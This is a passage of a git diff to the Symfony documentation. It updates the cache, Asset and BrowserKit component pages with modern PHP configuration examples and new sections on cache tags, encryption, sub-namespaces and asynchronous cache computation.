default-lifetime="31536000"> <!-- One year --> <framework:adapter name="cache.adapter.array"/> <framework:adapter name="cache.adapter.apcu"/> <framework:adapter name="cache.adapter.redis" provider="redis://user:password@example.com"/> @@ -472,20 +524,21 @@ Symfony stores the item automatically in all the missing pools. .. code-block:: php // config/packages/cache.php - $container->loadFromExtension('framework', [ - 'cache' => [ - 'pools' => [ - 'my_cache_pool' => [ - 'default_lifetime' => 31536000, // One year - 'adapters' => [ - 'cache.adapter.array', - 'cache.adapter.apcu', - ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'], - ], - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->cache() + ->pool('my_cache_pool') + ->defaultLifetime(31536000) // One year + ->adapters([ + 'cache.adapter.array', + 'cache.adapter.apcu', + ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'], + ]) + ; + }; + +.. _cache-using-cache-tags: Using Cache Tags ---------------- @@ -493,30 +546,28 @@ Using Cache Tags In applications with many cache keys it could be useful to organize the data stored to be able to invalidate the cache more efficiently. One way to achieve that is to use cache tags. One or more tags could be added to the cache item. All items with -the same key could be invalidated with one function call:: +the same tag could be invalidated with one function call:: use Symfony\Contracts\Cache\ItemInterface; use Symfony\Contracts\Cache\TagAwareCacheInterface; class SomeClass { - private $myCachePool; - // using autowiring to inject the cache pool - public function __construct(TagAwareCacheInterface $myCachePool) - { - $this->myCachePool = $myCachePool; + public function __construct( + private TagAwareCacheInterface $myCachePool, + ) { } - public function someMethod() + public function someMethod(): void { - $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item) { + $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item): string { $item->tag(['foo', 'bar']); return 'debug'; }); - $value1 = $this->myCachePool->get('item_1', function (ItemInterface $item) { + $value1 = $this->myCachePool->get('item_1', function (ItemInterface $item): string { $item->tag('foo'); return 'debug'; @@ -539,7 +590,7 @@ to enable this feature. This could be added by using the following configuration cache: pools: my_cache_pool: - adapter: cache.adapter.redis + adapter: cache.adapter.redis_tag_aware tags: true .. code-block:: xml @@ -552,11 +603,14 @@ to enable this feature. This could be added by using the following configuration xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> <framework:cache> - <framework:pool name="my_cache_pool" adapter="cache.adapter.redis" tags="true"/> + <framework:pool name="my_cache_pool" + adapter="cache.adapter.redis_tag_aware" + tags="true" + /> </framework:cache> </framework:config> </container> @@ -564,16 +618,15 @@ to enable this feature. This could be added by using the following configuration .. code-block:: php // config/packages/cache.php - $container->loadFromExtension('framework', [ - 'cache' => [ - 'pools' => [ - 'my_cache_pool' => [ - 'adapter' => 'cache.adapter.redis', - 'tags' => true, - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->cache() + ->pool('my_cache_pool') + ->tags(true) + ->adapters(['cache.adapter.redis_tag_aware']) + ; + }; Tags are stored in the same pool by default. This is good in most scenarios. But sometimes it might be better to store the tags in a different pool. That could be @@ -601,12 +654,17 @@ achieved by specifying the adapter. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > <framework:config> <framework:cache> - <framework:pool name="my_cache_pool" adapter="cache.adapter.redis" tags="tag_pool"/> - <framework:pool name="tag_pool" adapter="cache.adapter.apcu"/> + <framework:pool name="my_cache_pool" + adapter="cache.adapter.redis" + tags="tag_pool" + /> + <framework:pool name="tag_pool" adapter="cache.adapter.apcu"/> </framework:cache> </framework:config> </container> @@ -614,19 +672,20 @@ achieved by specifying the adapter. .. code-block:: php // config/packages/cache.php - $container->loadFromExtension('framework', [ - 'cache' => [ - 'pools' => [ - 'my_cache_pool' => [ - 'adapter' => 'cache.adapter.redis', - 'tags' => 'tag_pool', - ], - 'tag_pool' => [ - 'adapter' => 'cache.adapter.apcu', - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->cache() + ->pool('my_cache_pool') + ->tags('tag_pool') + ->adapters(['cache.adapter.redis']) + ; + + $framework->cache() + ->pool('tag_pool') + ->adapters(['cache.adapter.apcu']) + ; + }; .. note:: @@ -667,8 +726,256 @@ Clear all custom pools: $ php bin/console cache:pool:clear cache.app_clearer +Clear all cache pools: + +.. code-block:: terminal + + $ php bin/console cache:pool:clear --all + +Clear all cache pools except some: + +.. code-block:: terminal + + $ php bin/console cache:pool:clear --all --exclude=my_cache_pool --exclude=another_cache_pool + Clear all caches everywhere: .. code-block:: terminal $ php bin/console cache:pool:clear cache.global_clearer + +Clear cache by tag(s): + +.. code-block:: terminal + + # invalidate tag1 from all taggable pools + $ php bin/console cache:pool:invalidate-tags tag1 + + # invalidate tag1 & tag2 from all taggable pools + $ php bin/console cache:pool:invalidate-tags tag1 tag2 + + # invalidate tag1 & tag2 from cache.app pool + $ php bin/console cache:pool:invalidate-tags tag1 tag2 --pool=cache.app + + # invalidate tag1 & tag2 from cache1 & cache2 pools + $ php bin/console cache:pool:invalidate-tags tag1 tag2 -p cache1 -p cache2 + +Encrypting the Cache +-------------------- + +To encrypt the cache using ``libsodium``, you can use the +:class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`. + +First, you need to generate a secure key and add it to your :doc:`secret +store </configuration/secrets>` as ``CACHE_DECRYPTION_KEY``: + +.. code-block:: terminal + + $ php -r 'echo base64_encode(sodium_crypto_box_keypair());' + +Then, register the ``SodiumMarshaller`` service using this key: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/cache.yaml + + # ... + services: + Symfony\Component\Cache\Marshaller\SodiumMarshaller: + decorates: cache.default_marshaller + arguments: + - ['%env(base64:CACHE_DECRYPTION_KEY)%'] + # use multiple keys in order to rotate them + #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%'] + - '@.inner' + + .. code-block:: xml + + <!-- config/packages/cache.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + + <services> + <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller"> + <argument type="collection"> + <argument>env(base64:CACHE_DECRYPTION_KEY)</argument> + <!-- use multiple keys in order to rotate them --> + <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> --> + </argument> + <argument type="service" id=".inner"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/packages/cache.php + use Symfony\Component\Cache\Marshaller\SodiumMarshaller; + use Symfony\Component\DependencyInjection\ChildDefinition; + use Symfony\Component\DependencyInjection\Reference; + + // ... + $container->setDefinition(SodiumMarshaller::class, new ChildDefinition('cache.default_marshaller')) + ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)']) + // use multiple keys in order to rotate them + //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)']) + ->addArgument(new Reference('.inner')); + +.. danger:: + + This will encrypt the values of the cache items, but not the cache keys. Be + careful not to leak sensitive data in the keys. + +When configuring multiple keys, the first key will be used for reading and +writing, and the additional key(s) will only be used for reading. Once all +cache items encrypted with the old key have expired, you can completely remove +``OLD_CACHE_DECRYPTION_KEY``. + +Computing Cache Values Asynchronously +------------------------------------- + +The Cache component uses the `probabilistic early expiration`_ algorithm to +protect against the :ref:`cache stampede <cache_stampede-prevention>` problem. +This means that some cache items are elected for early-expiration while they are +still fresh. + +By default, expired cache items are computed synchronously. However, you can +compute them asynchronously by delegating the value computation to a background +worker using the :doc:`Messenger component </components/messenger>`. In this case, +when an item is queried, its cached value is immediately returned and a +:class:`Symfony\\Component\\Cache\\Messenger\\EarlyExpirationMessage` is +dispatched through a Messenger bus. + +When this message is handled by a message consumer, the refreshed cache value is +computed asynchronously. The next time the item is queried, the refreshed value +will be fresh and returned. + +First, create a service that will compute the item's value:: + + // src/Cache/CacheComputation.php + namespace App\Cache; + + use Symfony\Contracts\Cache\ItemInterface; + + class CacheComputation + { + public function compute(ItemInterface $item): string + { + $item->expiresAfter(5); + + // this is just a random example; here you must do your own calculation + return sprintf('#%06X', mt_rand(0, 0xFFFFFF)); + } + } + +This cache value will be requested from a controller, another service, etc. +In the following example, the value is requested from a controller:: + + // src/Controller/CacheController.php + namespace App\Controller; + + use App\Cache\CacheComputation; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Contracts\Cache\CacheInterface; + use Symfony\Contracts\Cache\ItemInterface; + + class CacheController extends AbstractController + { + #[Route('/cache', name: 'cache')] + public function index(CacheInterface $asyncCache): Response + { + // pass to the cache the service method that refreshes the item + $cachedValue = $asyncCache->get('my_value', [CacheComputation::class, 'compute']) + + // ... + } + } + +Finally, configure a new cache pool (e.g. called ``async.cache``) that will use +a message bus to compute values in a worker: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + cache: + pools: + async.cache: + early_expiration_message_bus: messenger.default_bus + + messenger: + transports: + async_bus: '%env(MESSENGER_TRANSPORT_DSN)%' + routing: + 'Symfony\Component\Cache\Messenger\EarlyExpirationMessage': async_bus + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > + <framework:config> + <framework:cache> + <framework:pool name="async.cache" early-expiration-message-bus="messenger.default_bus"/> + </framework:cache> + + <framework:messenger> + <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport> + <framework:routing message-class="Symfony\Component\Cache\Messenger\EarlyExpirationMessage"> + <framework:sender service="async_bus"/> + </framework:routing> + </framework:messenger> + </framework:config> + </container> + + .. code-block:: php + + // config/framework/framework.php + use Symfony\Component\Cache\Messenger\EarlyExpirationMessage; + use Symfony\Config\FrameworkConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\env; + + return static function (FrameworkConfig $framework): void { + $framework->cache() + ->pool('async.cache') + ->earlyExpirationMessageBus('messenger.default_bus'); + + $framework->messenger() + ->transport('async_bus') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ->routing(EarlyExpirationMessage::class) + ->senders(['async_bus']); + }; + +You can now start the consumer: + +.. code-block:: terminal + + $ php bin/console messenger:consume async_bus + +That's it! Now, whenever an item is queried from this cache pool, its cached +value will be returned immediately. If it is elected for early-expiration, a +message will be sent through to bus to schedule a background computation to refresh +the value. + +.. _`probabilistic early expiration`: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration diff --git a/components/asset.rst b/components/asset.rst index 20b5ce20b2d..d6d3f485859 100644 --- a/components/asset.rst +++ b/components/asset.rst @@ -1,14 +1,10 @@ -.. index:: - single: Asset - single: Components; Asset - The Asset Component =================== The Asset component manages URL generation and versioning of web assets such as CSS stylesheets, JavaScript files and image files. -In the past, it was common for web applications to hardcode URLs of web assets. +In the past, it was common for web applications to hard-code the URLs of web assets. For example: .. code-block:: html @@ -51,6 +47,8 @@ Installation Usage ----- +.. _asset-packages: + Asset Packages ~~~~~~~~~~~~~~ @@ -165,21 +163,33 @@ In those cases, use the echo $package->getUrl('css/app.css'); // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css +If you request an asset that is *not found* in the ``rev-manifest.json`` file, +the original - *unmodified* - asset path will be returned. The ``$strictMode`` +argument helps debug issues because it throws an exception when the asset is not +listed in the manifest:: + + use Symfony\Component\Asset\Package; + use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy; + + // The value of $strictMode can be specific per environment "true" for debugging and "false" for stability. + $strictMode = true; + // assumes the JSON file above is called "rev-manifest.json" + $package = new Package(new JsonManifestVersionStrategy(__DIR__.'/rev-manifest.json', null, $strictMode)); + + echo $package->getUrl('not-found.css'); + // error: + If your JSON file is not on your local filesystem but is accessible over HTTP, -use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy` +use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\JsonManifestVersionStrategy` with the :doc:`HttpClient component </http_client>`:: use Symfony\Component\Asset\Package; - use Symfony\Component\Asset\VersionStrategy\RemoteJsonManifestVersionStrategy; + use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy; use Symfony\Component\HttpClient\HttpClient; $httpClient = HttpClient::create(); $manifestUrl = 'https://cdn.example.com/rev-manifest.json'; - $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient)); - -.. versionadded:: 5.1 - - The ``RemoteJsonManifestVersionStrategy`` was introduced in Symfony 5.1. + $package = new Package(new JsonManifestVersionStrategy($manifestUrl, $httpClient)); Custom Version Strategies ......................... @@ -193,19 +203,19 @@ every day:: class DateVersionStrategy implements VersionStrategyInterface { - private $version; + private string $version; public function __construct() { $this->version = date('Ymd'); } - public function getVersion($path) + public function getVersion(string $path): string { return $this->version; } - public function applyVersion($path) + public function applyVersion(string $path): string { return sprintf('%s?v=%s', $path, $this->getVersion($path)); } @@ -276,12 +286,12 @@ class to generate absolute URLs for their assets:: // ... $urlPackage = new UrlPackage( - 'http://static.example.com/images/', + 'https://static.example.com/images/', new StaticVersionStrategy('v1') ); echo $urlPackage->getUrl('/logo.png'); - // result: http://static.example.com/images/logo.png?v1 + // result: https://static.example.com/images/logo.png?v1 You can also pass a schema-agnostic URL:: @@ -308,15 +318,15 @@ constructor:: // ... $urls = [ - '//static1.example.com/images/', - '//static2.example.com/images/', + 'https://static1.example.com/images/', + 'https://static2.example.com/images/', ]; $urlPackage = new UrlPackage($urls, new StaticVersionStrategy('v1')); echo $urlPackage->getUrl('/logo.png'); - // result: http://static1.example.com/images/logo.png?v1 + // result: https://static1.example.com/images/logo.png?v1 echo $urlPackage->getUrl('/icon.png'); - // result: http://static2.example.com/images/icon.png?v1 + // result: https://static2.example.com/images/icon.png?v1 For each asset, one of the URLs will be randomly used. But, the selection is deterministic, meaning that each asset will always be served by the same @@ -366,14 +376,14 @@ they all have different base paths:: $defaultPackage = new Package($versionStrategy); $namedPackages = [ - 'img' => new UrlPackage('http://img.example.com/', $versionStrategy), + 'img' => new UrlPackage('https://img.example.com/', $versionStrategy), 'doc' => new PathPackage('/somewhere/deep/for/documents', $versionStrategy), ]; $packages = new Packages($defaultPackage, $namedPackages); The ``Packages`` class allows to define a default package, which will be applied -to assets that don't define the name of package to use. In addition, this +to assets that don't define the name of the package to use. In addition, this application defines a package named ``img`` to serve images from an external domain and a ``doc`` package to avoid repeating long paths when linking to a document inside a template:: @@ -382,7 +392,7 @@ document inside a template:: // result: /main.css?v1 echo $packages->getUrl('/logo.png', 'img'); - // result: http://img.example.com/logo.png?v1 + // result: https://img.example.com/logo.png?v1 echo $packages->getUrl('resume.pdf', 'doc'); // result: /somewhere/deep/for/documents/resume.pdf?v1 diff --git a/components/browser_kit.rst b/components/browser_kit.rst index b73783f95e0..8cf0772298c 100644 --- a/components/browser_kit.rst +++ b/components/browser_kit.rst @@ -1,20 +1,9 @@ -.. index:: - single: BrowserKit - single: Components; BrowserKit - The BrowserKit Component ======================== The BrowserKit component simulates the behavior of a web browser, allowing you to make requests, click on links and submit forms programmatically. -.. note:: - - In Symfony versions prior to 4.3, the BrowserKit component could only make - internal requests to your application. Starting from Symfony 4.3, this - component can also :ref:`make HTTP requests to any public site <component-browserkit-external-requests>` - when using it in combination with the :doc:`HttpClient component </http_client>`. - Installation ------------ @@ -49,7 +38,7 @@ This method accepts a request and should return a response:: class Client extends AbstractBrowser { - protected function doRequest($request) + protected function doRequest($request): Response { // ... convert request into a response @@ -60,7 +49,7 @@ This method accepts a request and should return a response:: For a simple implementation of a browser based on the HTTP layer, have a look at the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by :ref:`this component <component-browserkit-external-requests>`. For an implementation based -on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\Client` +on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\HttpClientKernel` provided by the :doc:`HttpKernel component </components/http_kernel>`. Making Requests @@ -80,6 +69,16 @@ The value returned by the ``request()`` method is an instance of the :doc:`DomCrawler component </components/dom_crawler>`, which allows accessing and traversing HTML elements programmatically. +The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::jsonRequest` method, +which defines the same arguments as the ``request()`` method, is a shortcut to +convert the request parameters into a JSON string and set the needed HTTP headers:: + + use Acme\Client; + + $client = new Client(); + // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers + $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']); + The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method, which defines the same arguments as the ``request()`` method, is a shortcut to make AJAX requests:: @@ -113,6 +112,24 @@ provides access to the link properties (e.g. ``$link->getMethod()``, $link = $crawler->selectLink('Go elsewhere...')->link(); $client->click($link); +The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::click` and +:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::clickLink` methods +can take an optional ``serverParameters`` argument. This +parameter allows to send additional information like headers when clicking +on a link:: + + use Acme\Client; + + $client = new Client(); + $client->request('GET', '/product/123'); + + // works both with `click()`... + $link = $crawler->selectLink('Go elsewhere...')->link(); + $client->click($link, ['X-Custom-Header' => 'Some data']); + + // ... and `clickLink()` + $crawler = $client->clickLink('Go elsewhere...', ['X-Custom-Header' => 'Some data']); + Submitting Forms ~~~~~~~~~~~~~~~~ @@ -126,7 +143,7 @@ field values, etc.) before submitting it:: $crawler = $client->request('GET', 'https://github.com/login'); // find the form with the 'Log in' button and submit it - // 'Log in' can be the text content, id, value or name of a <button> or <input type="submit"> + // 'Log in' can be the text content, id or name of a <button> or <input type="submit"> $client->submitForm('Log in'); // the second optional argument lets you override the default form field values @@ -164,14 +181,10 @@ provides access to the form properties (e.g. ``$form->getUri()``, Custom Header Handling ~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 - - The ``getHeaders()`` method was introduced in Symfony 5.2. - -The optional HTTP headers passed to the ``request()`` method follows the FastCGI +The optional HTTP headers passed to the ``request()`` method follow the FastCGI request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``). Before saving those headers to the request, they are lower-cased, with ``HTTP_`` -stripped, and underscores turned to dashes. +stripped, and underscores converted into dashes. If you're making a request to an application that has special rules about header capitalization or punctuation, override the ``getHeaders()`` method, which must @@ -274,6 +287,27 @@ into the client constructor:: $client = new Client([], null, $cookieJar); // ... +.. _component-browserkit-sending-cookies: + +Sending Cookies +~~~~~~~~~~~~~~~ + +Requests can include cookies. To do so, use the ``serverParameters`` argument of +the :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method +to set the ``Cookie`` header value:: + + $client->request('GET', '/', [], [], [ + 'HTTP_COOKIE' => new Cookie('flavor', 'chocolate', strtotime('+1 day')), + + // you can also pass the cookie contents as a string + 'HTTP_COOKIE' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/' + ]); + +.. note:: + + All HTTP headers set with the ``serverParameters`` argument must be + prefixed by ``HTTP_``. + History ------- @@ -337,6 +371,34 @@ dedicated web crawler or scraper such as `Goutte`_:: '.table-list-header-toggle a:nth-child(1)' )->text()); +.. tip:: + + You can also use HTTP client options like ``ciphers``, ``auth_basic`` and + ``query``. They have to be passed as the default options argument to the + client which is used by the HTTP browser. + +Dealing with HTTP responses +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When using the BrowserKit component, you may need to deal with responses of +the requests you made. To do so, call the ``getResponse()`` method of the +``HttpBrowser`` object. This method returns the last response the browser received:: + + $browser = new HttpBrowser(HttpClient::create()); + + $browser->request('GET', 'https://foo.com'); + $response = $browser->getResponse(); + +If you're making requests that result in a JSON response, you may use the +``toArray()`` method to turn the JSON document into a PHP array without having +to call ``json_decode()`` explicitly:: + + $browser = new HttpBrowser(HttpClient::create()); + + $browser->request('GET', 'https://api.foo.com'); + $response = $browser->getResponse()->toArray(); + // $response is a PHP array of the decoded JSON contents + Learn more ---------- diff --git a/components/cache.rst b/components/cache.rst index a620206682f..44ba8b5c151 100644 --- a/components/cache.rst +++ b/components/cache.rst @@ -1,8 +1,3 @@ -.. index:: - single: Cache - single: Performance - single: Components; Cache - .. _`cache-component`: The Cache Component @@ -16,9 +11,8 @@ The Cache Component .. tip:: - The component also contains adapters to convert between PSR-6, PSR-16 and - Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and - :doc:`/components/cache/adapters/doctrine_adapter`. + The component also contains adapters to convert between PSR-6 and PSR-16. + See :doc:`/components/cache/psr6_psr16_adapters`. Installation ------------ @@ -71,7 +65,7 @@ generate and return the value:: use Symfony\Contracts\Cache\ItemInterface; // The callable will only be executed on a cache miss. - $value = $cache->get('my_cache_key', function (ItemInterface $item) { + $value = $cache->get('my_cache_key', function (ItemInterface $item): string { $item->expiresAfter(3600); // ... do some HTTP request or heavy computations @@ -90,7 +84,75 @@ generate and return the value:: Use cache tags to delete more than one key at the time. Read more at :doc:`/components/cache/cache_invalidation`. -The Cache Contracts also comes with built in `Stampede prevention`_. This will +Creating Sub-Namespaces +----------------------- + +.. versionadded:: 7.3 + + Cache sub-namespaces were introduced in Symfony 7.3. + +Sometimes you need to create context-dependent variations of data that should be +cached. For example, the data used to render a dashboard page may be expensive +to generate and unique per user, so you can't cache the same data for everyone. + +In such cases, Symfony allows you to create different cache contexts using +namespaces. A cache namespace is an arbitrary string that identifies a set of +related cache items. All cache adapters provided by the component implement the +:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`, which provides the +:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` +method. + +This method allows you to namespace cached items by transparently prefixing their keys:: + + $userCache = $cache->withSubNamespace(sprintf('user-%d', $user->getId())); + + $userCache->get('dashboard_data', function (ItemInterface $item): string { + $item->expiresAfter(3600); + + return '...'; + }); + +In this example, the cache item uses the ``dashboard_data`` key, but it will be +stored internally under a namespace based on the current user ID. This is handled +automatically, so you **don't** need to manually prefix keys like ``user-27.dashboard_data``. + +There are no guidelines or restrictions on how to define cache namespaces. +You can make them as granular or as generic as your application requires:: + + $localeCache = $cache->withSubNamespace($request->getLocale()); + + $flagCache = $cache->withSubNamespace( + $featureToggle->isEnabled('new_checkout') ? 'checkout-v2' : 'checkout-v1' + ); + + $channel = $request->attributes->get('_route')?->startsWith('api_') ? 'api' : 'web'; + $channelCache = $cache->withSubNamespace($channel); + +.. tip:: + + You can combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>` + for more advanced needs. + +There is no built-in way to invalidate caches by namespace. Instead, the recommended +approach is to change the namespace itself. For this reason, it's common to include +static or dynamic versioning data in the cache namespace:: + + // for simple applications, an incrementing static version number may be enough + $userCache = $cache->withSubNamespace(sprintf('v1-user-%d', $user->getId())); + + // other applications may use dynamic versioning based on the date (e.g. monthly) + $userCache = $cache->withSubNamespace(sprintf('%s-user-%d', date('Ym'), $user->getId())); + + // or even invalidate the cache when the user data changes + $checksum = hash('xxh128', $user->getUpdatedAt()->format(DATE_ATOM)); + $userCache = $cache->withSubNamespace(sprintf('user-%d-%s', $user->getId(), $checksum)); + +.. _cache_stampede-prevention: + +Stampede Prevention +~~~~~~~~~~~~~~~~~~~ + +The Cache Contracts also come with built in `Stampede prevention`_. This will remove CPU spikes at the moments when the cache is cold. If an example application spends 5 seconds to compute data that is cached for 1 hour and this data is accessed 10 times every second, this means that you mostly have cache hits and everything @@ -118,7 +180,7 @@ recompute:: use Symfony\Contracts\Cache\ItemInterface; $beta = 1.0; - $value = $cache->get('my_cache_key', function (ItemInterface $item) { + $value = $cache->get('my_cache_key', function (ItemInterface $item): string { $item->expiresAfter(3600); $item->tag(['tag_0', 'tag_1']); @@ -136,7 +198,6 @@ The following cache adapters are available: cache/adapters/* - .. _cache-component-psr6-caching: Generic Caching (PSR-6) @@ -156,7 +217,7 @@ concepts: **Adapter** It implements the actual caching mechanism to store the information in the filesystem, in a database, etc. The component provides several ready to use - adapters for common caching backends (Redis, APCu, Doctrine, PDO, etc.) + adapters for common caching backends (Redis, APCu, PDO, etc.) Basic Usage (PSR-6) ------------------- @@ -192,6 +253,45 @@ Now you can create, retrieve, update and delete items using this cache pool:: For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`. +Marshalling (Serializing) Data +------------------------------ + +.. note:: + + `Marshalling`_ and `serializing`_ are similar concepts. Serializing is the + process of translating an object state into a format that can be stored + (e.g. in a file). Marshalling is the process of translating both the object + state and its codebase into a format that can be stored or transmitted. + + Unmarshalling an object produces a copy of the original object, possibly by + automatically loading the class definitions of the object. + +Symfony uses *marshallers* (classes which implement +:class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`) to process +the cache items before storing them. + +The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's +``serialize()`` function by default, but you can optionally use the ``igbinary_serialize()`` +function from the `Igbinary extension`_:: + + use Symfony\Component\Cache\Adapter\RedisAdapter; + use Symfony\Component\Cache\Marshaller\DefaultMarshaller; + use Symfony\Component\Cache\Marshaller\DeflateMarshaller; + + $marshaller = new DeflateMarshaller(new DefaultMarshaller()); + // you can optionally use the Igbinary extension if you have it installed + // $marshaller = new DeflateMarshaller(new DefaultMarshaller(useIgbinarySerialize: true)); + + $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller); + +There are other *marshallers* that can encrypt or compress the data before storing it. + +.. versionadded:: 7.2 + + In Symfony versions prior to 7.2, the ``igbinary_serialize()`` function was + used by default when the Igbinary extension was installed. Starting from + Symfony 7.2, you have to enable Igbinary support explicitly. + Advanced Usage -------------- @@ -205,3 +305,6 @@ Advanced Usage .. _`Cache Contracts`: https://github.com/symfony/contracts/blob/master/Cache/CacheInterface.php .. _`Stampede prevention`: https://en.wikipedia.org/wiki/Cache_stampede .. _Probabilistic early expiration: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration +.. _`Marshalling`: https://en.wikipedia.org/wiki/Marshalling_(computer_science) +.. _`serializing`: https://en.wikipedia.org/wiki/Serialization +.. _`Igbinary extension`: https://github.com/igbinary/igbinary diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst index 17ecd4058e6..f2e92850cd8 100644 --- a/components/cache/adapters/apcu_adapter.rst +++ b/components/cache/adapters/apcu_adapter.rst @@ -1,9 +1,3 @@ -.. index:: - single: Cache Pool - single: APCu Cache - -.. _apcu-adapter: - APCu Cache Adapter ================== @@ -11,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly* increase an application's performance, as its cache contents are stored in shared memory, a component appreciably faster than many others, such as the filesystem. -.. caution:: +.. warning:: **Requirement:** The `APCu extension`_ must be installed and active to use this adapter. @@ -36,7 +30,7 @@ and cache items version string as constructor arguments:: $version = null ); -.. caution:: +.. warning:: Use of this adapter is discouraged in write/delete heavy workloads, as these operations cause memory fragmentation that results in significantly degraded performance. diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst index c7b06f40753..08f8276db3d 100644 --- a/components/cache/adapters/array_cache_adapter.rst +++ b/components/cache/adapters/array_cache_adapter.rst @@ -1,7 +1,3 @@ -.. index:: - single: Cache Pool - single: Array Cache - Array Cache Adapter =================== @@ -19,7 +15,7 @@ method:: // until the current PHP process finishes) $defaultLifetime = 0, - // if ``true``, the values saved in the cache are serialized before storing them + // if true, the values saved in the cache are serialized before storing them $storeSerialized = true, // the maximum lifetime (in seconds) of the entire cache (after this time, the @@ -28,9 +24,14 @@ method:: // the maximum number of items that can be stored in the cache. When the limit // is reached, cache follows the LRU model (least recently used items are deleted) - $maxItems = 0 + $maxItems = 0, + + // optional implementation of the Psr\Clock\ClockInterface that will be used + // to calculate the lifetime of cache items (for example to get predictable + // lifetimes in tests) + $clock = null, ); -.. versionadded:: 5.1 +.. versionadded:: 7.2 - The ``maxLifetime`` and ``maxItems`` options were introduced in Symfony 5.1. + The optional ``$clock`` argument was introduced in Symfony 7.2. diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst index acb4cccaa43..586857d2e4d 100644 --- a/components/cache/adapters/chain_adapter.rst +++ b/components/cache/adapters/chain_adapter.rst @@ -1,9 +1,3 @@ -.. index:: - single: Cache Pool - single: Chain Cache - -.. _component-cache-chain-adapter: - Chain Cache Adapter =================== @@ -12,7 +6,7 @@ This adapter allows combining any number of the other fetched from the first adapter containing them and cache items are saved to 